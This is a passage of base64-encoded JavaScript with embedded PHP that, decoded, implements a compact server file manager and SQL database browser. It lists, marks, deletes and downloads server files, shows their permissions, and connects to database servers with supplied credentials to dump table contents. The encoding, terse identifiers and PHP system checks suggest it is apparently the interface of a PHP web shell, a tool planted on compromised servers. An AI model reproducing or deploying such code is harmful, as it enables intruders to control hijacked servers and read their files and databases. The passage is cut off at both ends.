Y2hja2QucHVzaChpbnBzW2ldLnZhbHVlKTsKICB9IGVsc2UgY2hja2QucHVzaChpbnBzKTsKIH0KIHJldHVybiBjaGNrZDsKfQoKZnVuY3Rpb24gcHJwc1NsY3RkRmlsZXMoKSB7CiB2YXIgZmlsZXMgPSBnZXRTbGN0ZEZpbGVzKCk7CiBpZiAoZmlsZXMubGVuZ3RoID4gMCkgdWlTaHdGcm1QcnBzKFsnJywgJycsICcnLCAnJywgJyddLCBmaWxlcykKfQoKZnVuY3Rpb24gbWFya1NsY3RkRmlsZXMoKSB7CiB2YXIgaW5wcyA9IGVsbUJ5SWQoJ2ZybUZpbGVzJylbJ2ZbXSddLAogIGZpbGVzID0gW107CiBpZiAoIWlucHMpIHJldHVybjsKIGlmICghaW5wcy5sZW5ndGgpIGlucHMgPSBbaW5wc107CiBmb3IgKHZhciBpID0gMCwgYyA9IGlucHMubGVuZ3RoOyBpIDwgYzsgKytpKQogIGlmIChpbnBzW2ldLmNoZWNrZWQpIHsKICAgaW5wc1tpXS5wYXJlbnROb2RlLnBhcmVudE5vZGUuY2VsbHNbMV0uZmlyc3RDaGlsZC5jbGFzc0xpc3QudG9nZ2xlKCdtcmtkJyk7CiAgIGZpbGVzLnB1c2goaW5wc1tpXS52YWx1ZSk7CiAgfSBtYXJrRmlsZXMoZmlsZXMpOwp9CgpmdW5jdGlvbiBvblRibEZpbGVzQ2xpY2soZSkgewogdmFyIHRyZ3QgPSBlLnRhcmdldDsKIGlmICh0cmd0LnRhZ05hbWUgIT09ICdBJykgcmV0dXJuOwogZS5wcmV2ZW50RGVmYXVsdCgpOwogZS5zdG9wUHJvcGFnYXRpb24oKTsKIGlmICh0cmd0LmNsYXNzTmFtZSA9PSAnc3BuUHRoJykgZ29Ubyh0cmd0Lmhhc2guc2xpY2UoMSkpOwogZWxzZSB7CiAgdmFyIGNlbGwgPSB0cmd0LnBhcmVudE5vZGUsCiAgIHJvdyA9IGNlbGwucGFyZW50Tm9kZSwKICAgZnB0aCA9IHJvdy5jZWxsc1swXS5maXJzdENoaWxkLnZhbHVlOwogIHN3aXRjaCAoY2VsbC5jZWxsSW5kZXgpIHsKICAgY2FzZSAxOgogICAgZ29UbyhmcHRoKTsKICAgIGJyZWFrOwogICBjYXNlIDI6CiAgICB2YXIgZWxtVHh0Q2xwYnJkID0gZWxtQnlJZCgndHh0Q2xwYnJkJyk7CiAgICBlbG1UeHRDbHBicmQudmFsdWUgPSB0cmd0LnRpdGxlOwogICAgZWxtVHh0Q2xwYnJkLnNlbGVjdCgpOwogICAgZG9jdW1lbnQuZXhlY0NvbW1hbmQoJ2NvcHknKTsKICAgIGVsbVR4dENscGJyZC52YWx1ZSA9ICcnOwogICAgdHJndC5mb2N1cygpOwogICAgYnJlYWs7CiAgIGNhc2UgMzoKICAgIGR3bkZpbGVzKFtmcHRoXSk7CiAgICBicmVhazsKICAgY2FzZSA1OgogICAgPD9waHAgaWYoTklYKWVjaG8idmFyIG9nPXJvdy5jZWxsc1s2XS50aXRsZS5zcGxpdCgnLycpOyI7Pz51aVNod0ZybVBycHMoW2ZwdGgsIHJvdy5jZWxsc1s0XS50ZXh0Q29udGVudDw/cGhwIGlmKE5JWCllY2hvJyxyb3cuY2VsbHNbNV0uZmlyc3RDaGlsZC50aXRsZSxvZ1swXSxvZ1sxXSc7Pz5dLCBbZnB0aF0pOwogICAgYnJlYWs7CiAgIGRlZmF1bHQ6CiAgICBpZiAodHJndC50ZXh0Q29udGVudCA9PT0gJ01yaycpIHsKICAgICByb3cuY2VsbHNbMV0uZmlyc3RDaGlsZC5jbGFzc0xpc3QudG9nZ2xlKCdtcmtkJyk7CiAgICAgbWFya0ZpbGVzKFtmcHRoXSk7CiAgICB9IGVsc2UgaWYgKHRyZ3QudGV4dENvbnRlbnQgPT09ICdEZWwnKSBkZWxGaWxlcyhbZnB0aF0pOwogICAgYnJlYWs7CiAgfQogfQp9CgpmdW5jdGlvbiBzcWxSZXN0b3JlU3RhdGUoKSB7CiB2YXIgdmFsID0gc2Vzc2lvblN0b3JhZ2UuZ2V0SXRlbSgnc3FsQ25uY3QnKTsKIGlmICh2YWwgIT09IG51bGwpIHsKICB2YXIgZnJtID0gZWxtQnlJZCgnZnJtQ25uY3QnKTsKICB2YWwgPSBKU09OLnBhcnNlKHZhbCk7CiAgZm9yICh2YXIga2V5IGluIHZhbCkgZnJtW2tleV0udmFsdWUgPSB2YWxba2V5XTsKIH0KIHN0cmdSc3RyQ2hjaygnc3FsQ250UncnLCAnY2JDUicpOwogc3RyZ1JzdHJWYWwoJ3NxbFJQUCcsIGVsbUJ5SWQoJ2ZybVBnJykucik7CiBzdHJnUnN0clZhbCgnc3FsU2VuZEFzJywgJ3NxbENTU2VuZCcpOwogc3RyZ1JzdHJWYWwoJ3NxbExvYWRBcycsICdzcWxDU0xvYWQnKTsKfQoKZnVuY3Rpb24gc3FsU2F2ZVN0YXRlKCkgewogdmFyIGVsbXMgPSBlbG1CeUlkKCdmcm1Dbm5jdCcpLmVsZW1lbnRzLAogIHZhbCA9IHt9OwogZm9yICh2YXIgaSA9IGVsbXMubGVuZ3RoIC0gMTsgaSA+PSAwOyAtLWkpCiAgaWYgKGVsbXNbaV0ubmFtZSAhPT0gJycpIHZhbFtlbG1zW2ldLm5hbWVdID0gZWxtc1tpXS52YWx1ZTsKIHN0cmdTYXZlU3RyKCdzcWxDbm5jdCcsIEpTT04uc3RyaW5naWZ5KHZhbCkpOwogc3RyZ1NhdmVCb29sKCdzcWxDbnRSdycsICdjYkNSJyk7CiBzdHJnU2F2ZVN0cignc3FsUlBQJywgZWxtQnlJZCgnZnJtUGcnKS5yLnZhbHVlKTsKIHN0cmdTYXZlT3B0KCdzcWxTZW5kQXMnLCBlbG1CeUlkKCdzcWxDU1NlbmQnKS52YWx1ZSk7CiBzdHJnU2F2ZU9wdCgnc3FsTG9hZEFzJywgZWxtQnlJZCgnc3FsQ1NMb2FkJykudmFsdWUpOwp9CgpmdW5jdGlvbiBzcWxBanhTbmQobXNnLCBjbGxiY2ssIGRhdGEpIHsKIHZhciBlbG0gPSBlbG1CeUlkKCdmcm1Dbm5jdCcpLmVsZW1lbnRzOwogaWYgKCFkYXRhKSBkYXRhID0ge307CiBkYXRhLmEgPSAncyc7CiBmb3IgKHZhciBpID0gZWxtLmxlbmd0aCAtIDE7IGkgPj0gMDsgLS1pKSB7CiAgdmFyIG4gPSBlbG1baV0ubmFtZTsKICBpZiAobiAhPT0gJycgJiYgZWxtW2ldLnZhbHVlICE9PSAnJyAmJiAhKG4gaW4gZGF0YSkpIGRhdGFbbl0gPSBlbG1baV0udmFsdWU7CiB9CiB2YXIgdmFsID0gZWxtQnlJZCgnc3FsQ1NMb2FkJykudmFsdWU7CiBpZiAodmFsICE9PSAwKSBkYXRhLmMgPSB2YWw7CiBlbG0gPSBlbG1CeUlkKCdzcWxDU1NlbmQnKTsKIGRhdGEubCA9IGVsbS52YWx1ZTsKIHJldHVybiBhanhTbmQobXNnLCBjbGxiY2ssIG51bGwsIGRhdGEsIGVsbS50ZXh0VmFsdWUpOwp9CgpmdW5jdGlvbiBta0l0bVJvdyhuYW1lLCB2YWwsIGNoY2tkLCBmbmNPcG4sIGZuY0R3bikgewogdmFyIGRpdiA9IG5ld0VsbSgnZGl2JywgewogIGNsYXNzTmFtZTogJ2Rpdkl0bScKIH0pOwogZGl2LmFwcGVuZENoaWxkKG5ld0VsbSgnaW5wdXQnLCB7CiAgdHlwZTogJ2NoZWNrYm94JywKICBuYW1lOiBuYW1lICsgJ1tdJywKICB2YWx1ZTogdmFsLAogIGNoZWNrZWQ6IGNoY2tkLAogIG9uY2hhbmdlOiBvbkNobmdDQlN0YXRlCiB9KSk7CiBpZiAoZm5jT3BuKSBkaXYuYXBwZW5kQ2hpbGQobmV3RWxtKCdhJywgewogIGhyZWY6ICcjJywKICBjbGFzc05hbWU6ICdjbnRybCBhY3RSZScsCiAgdGV4dENvbnRlbnQ6ICdcdTI3RjMnLAogIG9uY2xpY2s6IGdldFN0cmN0cgogfSkpOwogaWYgKGZuY0R3bikgZGl2LmFwcGVuZENoaWxkKG5ld0VsbSgnYScsIHsKICBocmVmOiAnIycsCiAgY2xhc3NOYW1lOiAnY250cmwgYXJ3RHduJywKICBvbmNsaWNrOiBmbmNEd24KIH0pKTsKIGRpdi5hcHBlbmRDaGlsZChuZXdFbG0oKGZuY09wbiA/ICdhJyA6ICdzcGFuJyksIHsKICBocmVmOiAnIycsCiAgY2xhc3NOYW1lOiAnYU1vcmUnLAogIHRpdGxlOiB2YWwsCiAgdGV4dENvbnRlbnQ6IHZhbCwKICBvbmNsaWNrOiBmbmNPcG4KIH0pKTsKIHJldHVybiBkaXY7Cn0KCmZ1bmN0aW9uIGNubmN0KCkgewogdmFyIGZybSA9IGVsbUJ5SWQoJ2ZybUNubmN0Jyk7CiByZXR1cm4gc3FsQWp4U25kKCdDb25uZWN0IHRvICcgKyBmcm0uZS50ZXh0VmFsdWUgKyAnIHNlcnZlciAnICsgZnJtLmgudmFsdWUgKyAnIGFzICcgKyBmcm0udS52YWx1ZSArICcgKCcgKyBmcm0ucC52YWx1ZSArICcpJywgb25Dbm5jdCk7Cn0KCmZ1bmN0aW9uIG9uQ25uY3QoZGl2LCBkYXRhKSB7CiBpZiAoJ2UnIGluIGRhdGEpIHJldHVybiB1aUNobmdNc2coZGl2LCBkYXRhLmUsICdFcnInKTsKIGVsbUJ5SWQoJ2ZybVNRTCcpLnEudmFsdWUgPSAnJzsKIGVsbUJ5SWQoJ2RpdkNwdG4nKS50ZXh0Q29udGVudCA9ICcnOwogZWxtID0gZWxtQnlJZCgnZnJtUGcnKS5zdHlsZTsKIGlmIChlbG0uZGlzcGxheSA9PT0gJ2Jsb2NrJykgZWxtLmRpc3BsYXkgPSAnbm9uZSc7CiBlbG0gPSBlbG1CeUlkKCd0YmxIZWFkJyk7CiBpZiAoZWxtLmNoaWxkTm9kZXMubGVuZ3RoID4gMCkgZWxtLnJlbW92ZUNoaWxkKGVsbS50SGVhZCk7CiBlbG0gPSBlbG1CeUlkKCd0YmxEYXRhJyk7CiBpZiAoZWxtLnRCb2RpZXMubGVuZ3RoID4gMCkgZWxtLnJlbW92ZUNoaWxkKGVsbS50Qm9kaWVzWzBdKTsKIGVsbSA9IGVsbUJ5SWQoJ2RpdlNRTFdycExlZnQnKTsKIGlmIChlbG0uc3R5bGUuZGlzcGxheSA9PT0gJ2Jsb2NrJykgewogIGVsbS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOwogIHZhciBlID0gZWxtQnlJZCgnZGl2U2NobScpOwogIGZvciAodmFyIGkgPSBlLmNoaWxkTm9kZXMubGVuZ3RoIC0gMTsgaSA+PSAwOyAtLWkpIGUucmVtb3ZlQ2hpbGQoZS5sYXN0Q2hpbGQpOwogfQogaWYgKCdiJyBpbiBkYXRhKSB7CiAgZWxtQnlJZCgnZGl2U2NobScpLmFwcGVuZENoaWxkKG1rSXRtUm93KCdiJywgZGF0YS5iLCBmYWxzZSwgb3BuTGlzdCkpOwogIG9uR2V0U3RyY3RyKGRpdiwgZGF0YSk7CiB9IGVsc2UgewogIHZhciBmcmdtID0gZG9jdW1lbnQuY3JlYXRlRG9jdW1lbnRGcmFnbWVudCgpOwogIGZvciAodmFyIGkgPSAwLCBjID0gZGF0YS5sZW5ndGg7IGkgPCBjOyArK2kpIGZyZ20uYXBwZW5kQ2hpbGQobWtJdG1Sb3coJ2InLCBkYXRhW2ldLCBmYWxzZSwgb3BuTGlzdCkpOwogIGVsbUJ5SWQoJ2RpdlNjaG0nKS5hcHBlbmRDaGlsZChmcmdtKTsKIH0KIGVsbS5zdHlsZS5kaXNwbGF5ID0gJ2Jsb2NrJzsKIGVsbSA9IGVsbUJ5SWQoJ2ZybVNRTCcpLnN0eWxlOwogaWYgKGVsbS5kaXNwbGF5ICE9PSAnZmxleCcpIGVsbS5kaXNwbGF5ID0gJ2ZsZXgnOwogaWYgKCEoJ2InIGluIGRhdGEpKSB1aURlbE1zZyhkaXYpOwp9CgpmdW5jdGlvbiBvcG5MaXN0KCkgewogdmFyIHBybnQgPSB0aGlzLnBhcmVudE5vZGUsCiAgbHN0ID0gcHJudC5sYXN0Q2hpbGQ7CiBpZiAobHN0LmNsYXNzTmFtZSA9PT0gJ2RpdkxzdCcpIGxzdC5zdHlsZS5kaXNwbGF5ID0gbHN0LnN0eWxlLmRpc3BsYXkgPT09ICdub25lJyA/ICdibG9jaycgOiAnbm9uZSc7CiBlbHNlIHBybnQuY2hpbGROb2Rlc1sxXS5vbmNsaWNrKCk7CiByZXR1cm4gZmFsc2U7Cn0KCmZ1bmN0aW9uIG9uQ2huZ0NCU3RhdGUoKSB7CiB2YXIgY2hsZFRvdGFsID0gdGhpcy5nZXRBdHRyaWJ1dGUoJ2NobGRUb3RhbCcpIHwgMCwKICBjaGxkQ2hja2QgPSB0aGlzLmdldEF0dHJpYnV0ZSgnY2hsZENoY2tkJykgfCAwLAogIGNobGRJbmR0cm0gPSAtMSAqICh0aGlzLmdldEF0dHJpYnV0ZSgnY2hsZEluZHRybScpIHwgMCksCiAgcHJudCA9IHRoaXMubmFtZSA9PT0gJ2JbXScgPyBmYWxzZSA6IHRoaXMucGFyZW50Tm9kZS5wYXJlbnROb2RlLnBhcmVudE5vZGUuZmlyc3RDaGlsZDsKIGlmIChjaGxkSW5kdHJtICE9PSAwIHx8IGNobGRDaGNrZCAhPT0gY2hsZFRvdGFsKSB7CiAgdGhpcy5zZXRBdHRyaWJ1dGUoJ2NobGRJbmR0cm0nLCAwKTsKICAtLWNobGRJbmR0cm07CiB9CiB0aGlzLnNldEF0dHJpYnV0ZSgnY2hsZENoY2tkJywgdGhpcy5jaGVja2VkID8gY2hsZFRvdGFsIDogMCk7CiBjaGxkQ2hja2QgPSB0aGlzLmNoZWNrZWQgPyBjaGxkVG90YWwgLSBjaGxkQ2hja2QgKyAxIDogLTEgKiBjaGxkQ2hja2QgLSAxOwogaWYgKGNobGRUb3RhbCA+IDApIHsKICB2YXIgaW5wcyA9IHRoaXMucGFyZW50Tm9kZS5sYXN0Q2hpbGQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ2lucHV0Jyk7CiAgZm9yICh2YXIgaSA9IGlucHMubGVuZ3RoIC0gMTsgaSA+PSAwOyAtLWkpCiAgIGlmIChpbnBzW2ldLmluZGV0ZXJtaW5hdGUgfHwgaW5wc1tpXS5jaGVja2VkICE9PSB0aGlzLmNoZWNrZWQpIHsKICAgIHZhciB0dGwgPSBpbnBzW2ldLmdldEF0dHJpYnV0ZSgnY2hsZFRvdGFsJykgfCAwOwogICAgaWYgKHR0bCA+IDApIHsKICAgICBpbnBzW2ldLnNldEF0dHJpYnV0ZSgnY2hsZEluZHRybScsIDApOwogICAgIGlucHNbaV0uc2V0QXR0cmlidXRlKCdjaGxkQ2hja2QnLCB0aGlzLmNoZWNrZWQgPyB0dGwgOiAwKTsKICAgIH0KICAgIGlucHNbaV0uaW5kZXRlcm1pbmF0ZSA9IGZhbHNlOwogICAgaW5wc1tpXS5jaGVja2VkID0gdGhpcy5jaGVja2VkOwogICB9CiB9CiB3aGlsZSAocHJudCkgewogIHZhciBjcnJudFRvdGFsID0gcHJudC5nZXRBdHRyaWJ1dGUoJ2NobGRUb3RhbCcpIHwgMCwKICAgY3JybnRDaGNrZCA9IChwcm50LmdldEF0dHJpYnV0ZSgnY2hsZENoY2tkJykgfCAwKSArIGNobGRDaGNrZCwKICAgY3JybnRJbmR0cm0gPSAocHJudC5nZXRBdHRyaWJ1dGUoJ2NobGRJbmR0cm0nKSB8IDApICsgY2hsZEluZHRybTsKICBwcm50LnNldEF0dHJpYnV0ZSgnY2hsZENoY2tkJywgY3JybnRDaGNrZCk7CiAgcHJudC5zZXRBdHRyaWJ1dGUoJ2NobGRJbmR0cm0nLCBjcnJudEluZHRybSk7CiAgaWYgKGNycm50Q2hja2QgPT09IGNycm50VG90YWwpIHsKICAgcHJudC5jaGVja2VkID0gdHJ1ZTsKICAgKytjaGxkQ2hja2Q7CiAgIGlmIChwcm50LmluZGV0ZXJtaW5hdGUpIHsKICAgIHBybnQuaW5kZXRlcm1pbmF0ZSA9IGZhbHNlOwogICAgLS1jaGxkSW5kdHJtOwogICB9CiAgfSBlbHNlIHsKICAgaWYgKHBybnQuY2hlY2tlZCkgewogICAgcHJudC5jaGVja2VkID0gZmFsc2U7CiAgICAtLWNobGRDaGNrZDsKICAgfQogICBpZiAoY3JybnRDaGNrZCA9PT0gMCAmJiBjcnJudEluZHRybSA9PT0gMCkgewogICAgaWYgKHBybnQuaW5kZXRlcm1pbmF0ZSkgewogICAgIHBybnQuaW5kZXRlcm1pbmF0ZSA9IGZhbHNlOwogICAgIC0tY2hsZEluZHRybTsKICAgIH0KICAgfSBlbHNlIGlmICghcHJudC5pbmRldGVybWluYXRlKSB7CiAgICBwcm50LmluZGV0ZXJtaW5hdGUgPSB0cnVlOwogICAgKytjaGxkSW5kdHJtOwogICB9CiAgfQogIHBybnQgPSBwcm50Lm5hbWUgPT09ICdiW10nID8gZmFsc2UgOiBwcm50LnBhcmVudE5vZGUucGFyZW50Tm9kZS5wYXJlbnROb2RlLmZpcnN0Q2hpbGQ7CiB9Cn0KCmZ1bmN0aW9uIGxpc3RUYWJsZXMocHJudCwgZGF0YSkgewogdmFyIGNoY2tkID0gcHJudC5wYXJlbnROb2RlLmZpcnN0Q2hpbGQuY2hlY2tlZCwKICBsc3QgPSBkYXRhLnQ7CiBmb3IgKHZhciBpID0gMCwgYyA9IGxzdC5sZW5ndGg7IGkgPCBjOyArK2kpIHsKICB2YXIgcm93ID0gbWtJdG1Sb3coJ3QnLCBsc3RbaV1bMF0sIGNoY2tkLCBnZXREYXRhLCBvcG5MaXN0KTsKICBpZiAobHN0W2ldLmxlbmd0aCA+IDEpIHJvdy5hcHBlbmRDaGlsZChuZXdFbG0oJ3NwYW4nLCB7CiAgIGNsYXNzTmFtZTogJ3NwblJDJywKICAgdGV4dENvbnRlbnQ6IGxzdFtpXVsxXQogIH0pKTsKICBwcm50LmFwcGVuZENoaWxkKHJvdyk7CiB9Cn0KCmZ1bmN0aW9uIGxpc3RTY2hlbWFzKHBybnQsIGRhdGEpIHsKIHZhciBjaGNrZCA9IHBybnQucGFyZW50Tm9kZS5maXJzdENoaWxkLmNoZWNrZWQsCiAgbHN0ID0gZGF0YS5zOwogZm9yIChpID0gMCwgYyA9IGxzdC5sZW5ndGg7IGkgPCBjOyArK2kpIHBybnQuYXBwZW5kQ2hpbGQobWtJdG1Sb3coJ3MnLCBsc3RbaV0sIGNoY2tkLCBvcG5MaXN0KSk7Cn0KCmZ1bmN0aW9uIGdldFN0cmN0cigpIHsKIHZhciBlbG0gPSB0aGlzLAogIGRhdGEgPSB7fSwKICBuYW1lID0gW10sCiAgaW5wOwogZG8gewogIGVsbSA9IGVsbS5wYXJlbnROb2RlOwogIGlucCA9IGVsbS5maXJzdENoaWxkOwogIG5hbWUucHVzaChpbnAudmFsdWUpOwogIGRhdGFbaW5wLm5hbWUuc3Vic3RyKDAsIDEpXSA9IGlucC52YWx1ZTsKICBlbG0gPSBlbG0ucGFyZW50Tm9kZTsKIH0gd2hpbGUgKGVsbS5pZCAhPT0gJ2RpdlNjaG0nKTsKIGlmIChlbG1CeUlkKCdjYkNSJykuY2hlY2tlZCkgZGF0YS5yID0gJyc7CiByZXR1cm4gc3FsQWp4U25kKCdHZXQgc3RydWN0dXJlIG9mICcgKyBuYW1lLnJldmVyc2UoKS5qb2luKCcuJyksIG9uR2V0U3RyY3RyLCBkYXRhKTsKfQoKZnVuY3Rpb24gc3JjaEl0bShlbG0sIG5hbWUsIHZhbHVlKSB7CiB2YXIgY2hsZHMgPSBlbG0uY2hpbGROb2RlczsKIGZvciAodmFyIGkgPSAwLCBjID0gY2hsZHMubGVuZ3RoOyBpIDwgYzsgKytpKSB7CiAgdmFyIGlucCA9IGNobGRzW2ldLmZpcnN0Q2hpbGQ7CiAgaWYgKGlucC5uYW1lID09PSBuYW1lICYmIGlucC52YWx1ZSA9PT0gdmFsdWUpIHJldHVybiBjaGxkc1tpXTsKIH0KIHJldHVybiBmYWxzZTsKfQoKZnVuY3Rpb24gb25HZXRTdHJjdHIoZGl2LCBkYXRhKSB7CiBpZiAoJ2UnIGluIGRhdGEpIHJldHVybiB1aUNobmdNc2coZGl2LCBkYXRhLmUsICdFcnInKTsKIHZhciBjbnQ7CiBpZiAoJ2YnIGluIGRhdGEpIGNudCA9IGRhdGEuZi5sZW5ndGg7CiBlbHNlIGlmICgndCcgaW4gZGF0YSkgY250ID0gZGF0YS50Lmxlbmd0aDsKIGVsc2UgY250ID0gZGF0YS5zLmxlbmd0aDsKIGlmIChjbnQgPT09IDApIHsKICB2YXIgdCA9ICdEYXRhYmFzZScsCiAgIHYgPSBbZGF0YS5iXTsKICBpZiAoKCdzJyBpbiBkYXRhKSAmJiAoJ3QnIGluIGRhdGEpKSB7CiAgIHQgPSAnU2NoZW1hJzsKICAgdi5wdXNoKGRhdGEucyk7CiAgfQogIGlmICgnZicgaW4gZGF0YSkgewogICB0ID0gJ1RhYmxlJzsKICAgdi5wdXNoKGRhdGEudCk7CiAgfQogIHJldHVybiB1aUNobmdNc2coZGl2LCB0ICsgJyAnICsgdi5qb2luKCcuJykgKyAnIGlzIGVtcHR5JywgJ0luZicpOwogfQogdmFyIHBybnQgPSBzcmNoSXRtKGVsbUJ5SWQoJ2RpdlNjaG0nKSwgJ2JbXScsIGRhdGEuYik7CiBpZiAoIXBybnQpIHJldHVybjsKIGlmICgoJ3QnIGluIGRhdGEpICYmICgncycgaW4gZGF0YSkpIHsKICBpZiAocHJudC5sYXN0Q2hpbGQuY2xhc3NOYW1lICE9PSAnZGl2THN0JykgcmV0dXJuOwogIHBybnQgPSBzcmNoSXRtKHBybnQubGFzdENoaWxkLCAnc1tdJywgZGF0YS5zKTsKICBpZiAoIXBybnQpIHJldHVybjsKIH0KIGlmICgnZicgaW4gZGF0YSkgewogIGlmIChwcm50Lmxhc3RDaGlsZC5jbGFzc05hbWUgIT09ICdkaXZMc3QnKSByZXR1cm47CiAgcHJudCA9IHNyY2hJdG0ocHJudC5sYXN0Q2hpbGQsICd0W10nLCBkYXRhLnQpOwogIGlmICghcHJudCkgcmV0dXJuOwogfQogaWYgKHBybnQubGFzdENoaWxkLmNsYXNzTmFtZSA9PT0gJ2RpdkxzdCcpIHBybnQucmVtb3ZlQ2hpbGQocHJudC5sYXN0Q2hpbGQpOwogdmFyIGkgPSBwcm50LmZpcnN0Q2hpbGQ7CiBpLnNldEF0dHJpYnV0ZSgnY2hsZFRvdGFsJywgY250KTsKIGkuc2V0QXR0cmlidXRlKCdjaGxkQ2hja2QnLCBpLmNoZWNrZWQgPyBjbnQgOiAwKTsKIGkuc2V0QXR0cmlidXRlKCdjaGxkSW5kdHJtJywgMCk7CiBwcm50LmFwcGVuZENoaWxkKG5ld0VsbSgnZGl2JywgewogIGNsYXNzTmFtZTogJ2RpdkxzdCcKIH0pKTsKIHBybnQgPSBwcm50Lmxhc3RDaGlsZDsKIGlmICgnZicgaW4gZGF0YSkgbGlzdEZpZWxkcyhwcm50LCBkYXRhKTsKIGVsc2UgaWYgKCd0JyBpbiBkYXRhKSBsaXN0VGFibGVzKHBybnQsIGRhdGEpOwogZWxzZSBsaXN0U2NoZW1hcyhwcm50LCBkYXRhKTsKIHVpRGVsTXNnKGRpdik7Cn0KCmZ1bmN0aW9uIGxpc3RGaWVsZHMocHJudCwgZGF0YSkgewogdmFyIGNoY2tkID0gcHJudC5wYXJlbnROb2RlLmZpcnN0Q2hpbGQuY2hlY2tlZCwKICBsc3QgPSBkYXRhLmY7CiBmb3IgKGkgPSAwLCBjID0gbHN0Lmxlbmd0aDsgaSA8IGM7ICsraSkgewogIHZhciByb3cgPSBta0l0bVJvdygnZicsIGxzdFtpXVswXSwgY2hja2QpLAogICB0eXBlID0gZGF0YS55W2xzdFtpXVsxXV07CiAgaWYgKHR5cGUgIT09ICcnKSB7CiAgIHZhciBkaXYgPSBuZXdFbG0oJ2RpdicsIHsKICAgIGNsYXNzTmFtZTogJ2RpdkZsZFRwJwogICB9KTsKICAgZGl2LmFwcGVuZENoaWxkKG5ld0VsbSgnc3BhbicsIHsKICAgIGNsYXNzTmFtZTogJ2FNb3JlJywKICAgIHRleHRDb250ZW50OiB0eXBlCiAgIH0pKTsKICAgcm93LmFwcGVuZENoaWxkKGRpdik7CiAgfQogIHBybnQuYXBwZW5kQ2hpbGQocm93KTsKIH0KfQoKZnVuY3Rpb24gZ2V0RGF0YSgpIHsKIHZhciBlbG0gPSB0aGlzLnBhcmVudE5vZGUsCiAgZGF0YSA9IHsKICAgdDogZWxtLmZpcnN0Q2hpbGQudmFsdWUsCiAgIGY6IFtdLAogICBvOiAwLAogICByOiBlbG1CeUlkKCdmcm1QZycpLnIudmFsdWUKICB9OwogZWxtID0gZWxtLnBhcmVudE5vZGUucGFyZW50Tm9kZTsKIGlmIChlbG0uZmlyc3RDaGlsZC5uYW1lID09PSAnc1tdJykgewogIGRhdGEucyA9IGVsbS5maXJzdENoaWxkLnZhbHVlOwogIGRhdGEuYiA9IGVsbS5wYXJlbnROb2RlLnBhcmVudE5vZGUuZmlyc3RDaGlsZC52YWx1ZTsKIH0gZWxzZSBkYXRhLmIgPSBlbG0uZmlyc3RDaGlsZC52YWx1ZTsKIGVsbSA9IHRoaXMucGFyZW50Tm9kZTsKIGlmIChlbG0ubGFzdENoaWxkLmNsYXNzTmFtZSA9PT0gJ2RpdkxzdCcpIHsKICBlbG0gPSBlbG0ubGFzdENoaWxkLmNoaWxkTm9kZXM7CiAgZm9yICh2YXIgaSA9IGVsbS5sZW5ndGggLSAxOyBpID49IDA7IC0taSkKICAgaWYgKGVsbVtpXS5maXJzdENoaWxkLmNoZWNrZWQpIGRhdGEuZi51bnNoaWZ0KGVsbVtpXS5maXJzdENoaWxkLnZhbHVlKTsKIH0KIGlmIChkYXRhLmYubGVuZ3RoID09PSAwKSBkYXRhLmYgPSAnJzsKIHJldHVybiBzcWxBanhTbmQoJ0xvYWQgZGF0YSBmcm9tIHRhYmxlICcgKyBkYXRhLmIgKyAnLicgKyAoJ3MnIGluIGRhdGEgPyBkYXRhLnMgKyAnLicgOiAnJykgKyBkYXRhLnQsIG9uR2V0RGF0YSwgZGF0YSk7Cn0KCmZ1bmN0aW9uIGxpc3REYXRhKGNhcHRpb24sIGRhdGEpIHsKIHZhciB0YmxIZWFkID0gZWxtQnlJZCgndGJsSGVhZCcpLAogIHRibERhdGEgPSBlbG1CeUlkKCd0YmxEYXRhJyksCiAgY2xuID0gZGF0YS5mLmxlbmd0aDsKIGlmICh0YmxEYXRhLnRCb2RpZXMubGVuZ3RoID4gMCkgdGJsRGF0YS5yZW1vdmVDaGlsZCh0YmxEYXRhLnRCb2RpZXNbMF0pOwogZWxtQnlJZCgnZGl2Q3B0bicpLnRleHRDb250ZW50ID0gY2FwdGlvbjsKIGlmICh0YmxIZWFkLmNoaWxkTm9kZXMubGVuZ3RoID4gMCkgdGJsSGVhZC5yZW1vdmVDaGlsZCh0YmxIZWFkLnRIZWFkKTsKIHZhciB0aGVhZCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3RoZWFkJyksCiAgZWxtID0gdGhlYWQuaW5zZXJ0Um93KDApOwogZm9yICh2YXIgaSA9IDA7IGkgPCBjbG47ICsraSkgZWxtLmluc2VydENlbGwoLTEpLnRleHRDb250ZW50ID0gZGF0YS5mW2ldOwogdGJsSGVhZC5hcHBlbmRDaGlsZCh0aGVhZCk7CiBkYXRhID0gZGF0YS5yOwogZWxtID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgndGJvZHknKTsKIGZvciAodmFyIGkgPSAwLCBjID0gZGF0YS5sZW5ndGg7IGkgPCBjOyArK2kpIHsKICB2YXIgdHIgPSBlbG0uaW5zZXJ0Um93KC0xKTsKICBmb3IgKHZhciBqID0gMDsgaiA8IGNsbjsgKytqKSB0ci5pbnNlcnRDZWxsKC0xKS50ZXh0Q29udGVudCA9IGRhdGFbaV1bal07CiB9CiB0YmxEYXRhLmFwcGVuZENoaWxkKGVsbSk7CiBlbG0gPSB0YmxIZWFkLnRIZWFkLnJvd3NbMF0uY2VsbHM7CiBkYXRhID0gdGJsRGF0YS50Qm9kaWVzWzBdLnJvd3NbMF0uY2VsbHM7CiBmb3IgKHZhciBpID0gMDsgaSA8IGNsbjsgKytpKSB7CiAgdmFyIHRyID0gKGVsbVtpXS5vZmZzZXRXaWR0aCA+IGRhdGFbaV0ub2Zmc2V0V2lkdGggPyBlbG1baV0ub2Zmc2V0V2lkdGggOiBkYXRhW2ldLm9mZnNldFdpZHRoKSArICdweCc7CiAgZWxtW2ldLnN0eWxlLm1pbldpZHRoID0gdHI7CiAgZWxtW2ldLnN0eWxlLndpZHRoID0gdHI7CiAgZGF0YVtpXS5zdHlsZS5taW5XaWR0aCA9IHRyOwogIGRhdGFbaV0uc3R5bGUud2lkdGggPSB0cjsKIH0KfQoKZnVuY3Rpb24gb25HZXREYXRhKGRpdiwgZGF0YSkgewogaWYgKCdlJyBpbiBkYXRhKSByZXR1cm4gdWlDaG5nTXNnKGRpdiwgZGF0YS5lLCAnRXJyJyk7CiBpZiAoZGF0YS5mLmxlbmd0aCA9PT0gMCkgewogIHZhciB2ID0gZGF0YS5iICsgJy4nICsgKCdzJyBpbiBkYXRhID8gZGF0YS5zICsgJy4nIDogJycpICsgZGF0YS50OwogIHJldHVybiB1aUNobmdNc2coZGl2LCBkYXRhLm8gPiAwID8gJ05vIG1vcmUgZ